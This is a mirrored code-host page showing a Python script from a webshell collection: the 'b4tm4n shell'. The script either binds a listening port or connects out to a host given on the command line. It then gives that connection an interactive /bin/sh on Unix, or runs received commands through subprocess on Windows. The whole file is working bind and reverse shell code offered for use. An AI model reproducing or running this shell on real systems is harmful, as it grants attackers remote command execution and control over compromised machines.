mirror of
https://github.com/tennc/webshell
synced 2024-11-25 20:50:18 +00:00
64 lines
No EOL
1.5 KiB
Python
64 lines
No EOL
1.5 KiB
Python
#!/usr/bin/env python
|
|
import re,subprocess,os,sys,socket,time
|
|
p=""
|
|
h=""
|
|
def shell(c):
|
|
proc=subprocess.Popen(c,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
|
|
return proc.stdout.read()+proc.stderr.read()+prompt().encode('utf-8')
|
|
|
|
def action(c):
|
|
if os.name!="nt":
|
|
f=c.fileno()
|
|
os.system("export TERM=xterm;PS1='$PWD>';export PS1;/bin/sh -i <&"+str(f)+" >&"+str(f)+" 2>&"+str(f))
|
|
else:
|
|
while True:
|
|
try:
|
|
r=c.recv(1024).decode("utf-8")
|
|
except:
|
|
pass
|
|
else:
|
|
if len(r)>0:
|
|
b=re.search("cd\ ([^\s]+)",r,flags=re.IGNORECASE)
|
|
if b:
|
|
if os.path.isdir(b.group(1)):
|
|
os.chdir(b.group(1))
|
|
c.send(prompt().encode('utf-8'))
|
|
else:
|
|
out=shell(r)
|
|
if out and len(out)>0:c.send(out)
|
|
else: return False
|
|
|
|
def prompt():
|
|
return "\n"+os.getcwd()+">"
|
|
g=sys.argv
|
|
if len(g)==2:
|
|
p=g[1]
|
|
elif len(g)==3:
|
|
p=g[1]
|
|
h=g[2]
|
|
else:exit(1)
|
|
p=int(p)
|
|
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
|
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
|
|
if len(g)==2:
|
|
s.bind(("0.0.0.0",p))
|
|
s.listen(5)
|
|
try:(c,a)=s.accept()
|
|
except:
|
|
time.sleep(1)
|
|
else:
|
|
if os.name!="nt":
|
|
c.send(("b4tm4n shell : connected\n").encode('utf-8'))
|
|
else:
|
|
c.send(("b4tm4n shell : connected"+prompt()).encode('utf-8'))
|
|
action(c)
|
|
if len(g)==3:
|
|
try: s.connect((h,p))
|
|
except:
|
|
time.sleep(5)
|
|
else:
|
|
if os.name!="nt":
|
|
s.send(("b4tm4n shell : connected\n").encode('utf-8'))
|
|
else:
|
|
s.send(("b4tm4n shell : connected"+prompt()).encode('utf-8'))
|
|
action(s) |